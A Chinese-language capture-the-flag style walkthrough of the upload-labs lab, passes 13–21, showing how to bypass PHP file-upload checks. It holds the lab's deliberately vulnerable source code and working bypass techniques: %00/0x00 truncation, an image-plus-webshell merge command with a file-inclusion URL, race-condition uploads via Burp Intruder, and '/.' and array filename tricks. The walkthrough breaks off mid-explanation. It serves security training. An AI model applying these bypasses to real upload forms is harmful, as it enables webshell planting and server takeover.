  • www.xxx.com/qq.php.jpg => www.xxx.com/qq.php.jpg
  • 如果做了后缀名判断的情况下,那样是会直接报错,不让你上传,因为你的后缀是 .jpg,不是 .php;
  • 有很多朋友喜欢在文件名中加%00
    进行截断,笔者认为这种方式是不对的,为什么呢?比如攻击者构造文件名:admintony.php%00a.jpg
    ,在提取后缀名的时候遇到%00
    则认为字符串结束了,那么他提取到的后缀名会是.php
    .php
    后缀又不允许上传所以上传失败了(这里有必要提一句,有人可能会说在一些情况下,%00截断文件名可以成功,这种案例你试一下是不是任意文件上传,西普的00截断实验就是一个任意文件上传的上传点,既然是任意文件上传又何必用00截断绕过呢?)
  • %00截断 POST 用法
  • 当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL编码,也就是URL-decode;
  • 如果通过POST方法进行传输,与GET方法不同,POST方法不会对%00进行解码,我们需要选中%00,通过ctrl+shift+u快捷键进行转换才行。
image-20210511234136916.png
  • 而且这样重发后是在包里面看不到%00的,但是用光标的话会有个位置
  • 那么为什么网上也有直接添加%00
    而不进行urldecode操作呢?
  • 因为path也可以存放在URL或者Cookie中,而在提交数据的时候,浏览器会对数据做一次url decode的操作,而到服务端,会对数据进行一次url decode的操作,因此如果path在非enctype=multipart/form-data
    的表单中或URL or Cookie中的时候,就可以直接写%00
    不需要进行URL decode操作,让服务端对%00
    进行URL解码即可。

注意:

  • 有些时候数据包中必须含有上传文件后的目录情况才可以用。
  • 例如:数据包中存在 path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00
  • 为什么修改path才可以?
  • 因为程序中检测的是文件的后缀名,如果后缀合法则拼接路径和文件名。
  • 那么,攻击者修改了path以后的拼接结果为:uploads/aaa.php%00/20190818.php
  • 移动文件的时候会将文件保存为:uploads/aaa.php
  • 从而达到Getshell效果。
  • 0x00截断
  • 这时候就要利用0x00截断原理了,具体原理是 系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。
  • 但要注意是文件的16进制内容里的00,而不是文件名中的00 !!!就是说系统是按16进制读取文件(或者说二进制),
  • 遇到ascii码为零的位置就停止,而这个ascii码为零的位置在16进制中是00,用0x开头表示16进制,也就是所说的0x00截断
  • 具体操作:

  • 这里在php的后面添加了一个空格和字母a,其实写什么都可以,只是一般空格的16进制为0x20,比较好记,加个a好找到空格的位置,如果写个任意字符,再去查他的16进制表示也可以。然后打开hex,修改16进制内容:
image-20210511235713714.png
  • 修改完成后,原来的文本显示也发生了 变化:
image-20210511235730215.png
  • 那个方框的位置就是0x00,只不过这是一个不可见字符,无法显示。
  • 当系统读取到方框,也就是0x00时,认为已经结束,不会再读取后面将要拼接的1.jpg,认为是php文件,完成绕过

第十四关:图片马

  • 根据提示:本pass检查图标内容开头2个字节!
image.png
  • 绕过方法:
// 合成图片马指令:
copy xxx.png/b + shell.php/a 生成文件名.png/jpg

// shell.php 一句话木马:
<?php @eval('phpinfo();'); ?>

  • 准备好一张png图片和写好的shell.php,将两者合成为图片马
  • 将合成的图片马进行上传,结合文件包含漏洞进行利用。
  • http://127.0.0.1/upload/include.php?file=upload/上传对应的文件.png

绕过原理:

<?php
function getReailFileType($filename){
    $file = fopen($filename, "rb");//以只读方式打开一个二进制文件
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    //从二进制字符串对数据进行解包
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);
 //调用函数判定文件类型
    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(1099).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

?>

第十五关:getimagesize()-图片马

  • 根据提示:本pass使用getimagesize()检查是否为图片文件!
image.png
  • 绕过方法:
    • 绕过方法跟上一关一样。

绕过方法:

  • 上一关是读取文件前两个字节的数据,用于判断文件类型。
  • 这一关时候使用了php中的getimagesize函数,获取到图片的信息,再取出其文件后缀名进行对比。相当于是把上一关所写的函数封装起来了。
<?php
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        //获取图像大小及相关信息
        $ext = image_type_to_extension($info[2]);
        //根据指定的图像类型返回对应的后缀名
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(1099).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

?>

第十六关:exif_imagetype()-图片马

  • 根据提示:本pass使用exif_imagetype()检查是否为图片文件!
image.png
  • 绕过方法:
    • 绕过方法跟上一关一样。
  • 先来尝试直接上传之前的文件,页面直接变黑了。源代码中提示需要开启php_exif模块。
image.png
  • 打开PHP扩展 ---> 开启php_exif 模块。

绕过原理:

  • upload-labs之pass 16详细分析

第十七关:二次渲染

  • 二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。
  • 根据提示:本pass重新渲染了图片!
image.png
  • 绕过方法:
    • 绕过方法跟上一关一样。
  • 图片上传之后呢,可以进行图片的放大、缩小、保存、删除等操作。像这种案例就涉及到二次渲染,先将图片上传到服务器
  • CMS 的头像
<?php
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);
 //basename() 函数返回路径中的文件名部分。
    
    $fileext= substr(strrchr($filename,"."),1);// 获得上传文件的扩展名

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
           
            $im = imagecreatefromjpeg($target_path);
             //使用上传的图片生成新的图片
       /*imagecreatefromjpeg,由文件或 URL 创建一个新图象,
       成功则返回图像资源,失败返回false*/

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
                //ulink:删除文件
            }else{
                //给新图片指定文件名
                
                srand(time());
                //根据系统时间生成一个随机数
                $newfilename = strval(rand()).".jpg";
                //strval — 获取变量的字符串值  
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                //生成新图片的存储路径
                imagejpeg($im,$img_path);
    //imagejpeg — 输出图象到浏览器或文件。 
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

?>

第十八关:条件竞争

  • 根据提示:本pass重新渲染了图片!
image.png
  • 源码分析:
<?php
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    //取后缀名
    $upload_file = UPLOAD_PATH . '/' . $file_name;
    //生成文件上传存储路径
  
    // 打印输出路径的情况
    echo $upload_file;
    echo '<br>';
    echo $temp_file;

    if(move_uploaded_file($temp_file, $upload_file)){
    //将临时文件移动到存储路径
        if(in_array($file_ext,$ext_arr)){
        //判断文件后缀名是否合法
             $img_path = UPLOAD_PATH . '/'. rand(1099).date("YmdHis").".".$file_ext;
          // 这里根据上面的规则给文件做了一个重新命名
          // 这里有一个小操作,可以不断访问和这个文件上传地址,使其不能重新命名,利用正在执行的文件不可删除。(几率操作)
          // 这个文件就无法重命名,可以尝试访问。
             rename($upload_file, $img_path);
             //合法则将文件重命名
             $is_upload = true;
        }else{
        //不合法则删除报错,并删除文件
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

?>

  • 通过分析源代码,可以发现存在逻辑漏洞
    • 先将文件移动到存储目录后才进行判断是否合法
    • 将文件移动到存储目录后才进行重命名
  • 那我们修改一下源代码,尝试一下,看一下文件路径。

</div>
../upload/1.jpg<br>C:\Users\xiaohuang\AppData\Local\Temp\phpCD6C.tmpok../upload/3220210616023816.jpg
<div id="upload_panel">

<?php
==> echo $upload_file; // 文件上传之后的存储路径
  ../upload/1.jpg
    
    echo '<br>';
  
 ==> echo $temp_file; // 将文件移动之后,重新命名前的临时存储路径
 C:\Users\xiaohuang\AppData\Local\Temp\phpCD6C.tmpok 
    
==> echo $img_path; // 文件重命名之后的文件存储路径
 ../upload/3220210616023816.jpg 
?>


  • 由此也就产生了漏洞,会有一个短暂的时间将我们上传的webshell存储在目录下,且以我们上传的文件名的形式
  • 但是这个时间相当相当短暂,以至于,你打开上传目录,点击上传文件,你连影子都看不到就已经没了,所以这个时候我们可以使用burpsuite,我们先抓包,然后发送到intruder模块。
  • 点击clear去除所有参数,然后payload选择无,并且选择持续发包。

  • 补充:二次渲染只能靠这个条件竞争去绕过么?
    • 二次渲染:说的是这个技术叫做二次渲染,不是说二次渲染有漏洞。
    • 有漏洞可利用的原因是因为,他是在文件上传之后才有的后续操作,第一步的时候已经将文件上传到服务器上了。
    • 如果这个二次渲染在第一步之前,这个二次渲染是没有任何问题的。
    • 二次渲染不是漏洞,是一种技术,是一种逻辑上的验证,条件竞争。
    • 利用条件竞争,防止他第二步操作。

第十九关:条件竞争-代码审计

  • 根据提示:
image.png
  • 源码分析:
<?php
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
 //生成一个MyUpload类的对象
    $status_code = $u->upload(UPLOAD_PATH);
 //调用upload函数,传递的参数为默认存储目录
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
   //如果上传成功,则返回上传的图片
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

?>

  • 因此也存在条件竞争的问题,不过这题对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,因此可以通过不断上传图片马,由于条件竞争可能来不及重命名,从而上传成功。
  • http://127.0.0.1/upload/include.php?file=upload/上传对应的文件.png

第二十关:00截断 - 目录命名

  • 根据提示:
image.png
  • 源码分析:
<?php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
      // 验证格式
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
          
          // $file_name 文件名字是由 $file_name = $_POST['save_name']; post 发送过来的。
          
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

?>

目录命名:- x.php .

<?php

// 给上传的文件命名
==> $file_name = $_POST['save_name'];

// $file_name 文件名字是由 $file_name = $_POST['save_name']; POST参数 传递过来的。
==>  $img_path = UPLOAD_PATH . '/' .$file_name;

UPLOAD_PATH . '/' .$file_name;
  |
upload/upload-20.jpg
      ==> upload/upload-20.php/.  文件会以.php保存。但是系统验证会以 php/. 来验证。
     
      这里放一个演示。
?>

  • 目录,文件夹上的一个问题
  • 内置函数的一个知识点。
  • 文件目录上的问题。
  • 绕过方法:控制文件名字、或者控制文件夹的名字。
    • apache解析漏洞,保存为phpinfo.php.xxx
    • windows文件存储特性,加 .和空格
    • 00截断
    • /.,move_uploaded_file会忽略掉文件末尾的/.(和windows存储特性不同,这个是函数的特性)。
    • 通过BP 抓包,然后修改数据包 :upload-20.php%00.jpg  在文件后缀加上jep , 然后用 %00 进行截断。
    • 上传.php文件,保存为.jpg文件,上传成功;上传.jpg文件,保存为.php文件,上传失败。这样看来校验的应该是保存的文件名,那么又需要看是白名单校验还是黑名单校验,还是上传.php文件,随便输入一个保存的文件名,随便输入一个后缀名,或者是不写后缀名,保存成功。说明是黑名单验证。那黑名单验证就有太多的绕过方式了。
  • 那我们选择最简单的第四种方式:

第二十一关:数组接受 + 目录命名

  • 根据提示:
image.png
  • 源码分析:
<?php
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME,我们可以修改这个,来修改上传的文件格式。
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名,来判断文件名的情况。
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }
      
    // end 截取文件后缀
      
        $ext = end($file);
      
      // 上传类型检测,白名单。
      
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
          
          // reset 获取文件名,不带后缀
          
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}
?>

补充:

<?php
// 这是什么意思呢?这就是获取后缀名。
 $file[count($file) - 1];

==> 1. count($file)
  比如说:
  xiaohuang.jpg
  分隔为:
  xiaohuang
  .
  jpg

x[0] = 'xiaohuang'
x[1] = '.'
x[2] = 'jpg'

// 合起来就是:
   $file_name = reset($file) . '.' . $file[count($file) - 1];
==> 文件名.jpg
  
_____________________________________________________________________________________________
  
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];

 save_name[0] = 'sss.php/'
  save_name[2] = 'jpg'
    
  file = {'sss.php/','','jpg'}

$file_name = reset($file) . '.' . $file[count($file) - 1];
  sss.php/
    .
    jpg
    
    sss.php/.jpg
    
?>

  • 分析源码中的主要流程:
    • 校验Content-Type类型
    • 取得提交的save_name参数或者是文件名赋值给$file,如果不是数组的话,以.为分隔符,将文件名拆散为数组
    • 取出数组中的最后一个元素,进行后缀名判断
    • 将数组中的array[0]与array[count($file)-1]拼接起来生成文件名
  • 上面四个流程,表面上看上去是没有什么漏洞的,程序会校验数组的最后一个元素,经过校验之后,会将array[count(file的值是一个文件名,那么程序执行是正常的。如果是一个连续的数组,执行也依旧正常,但是当出现下图中的情况时,就可被绕过。


文章转载自在下小黄,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论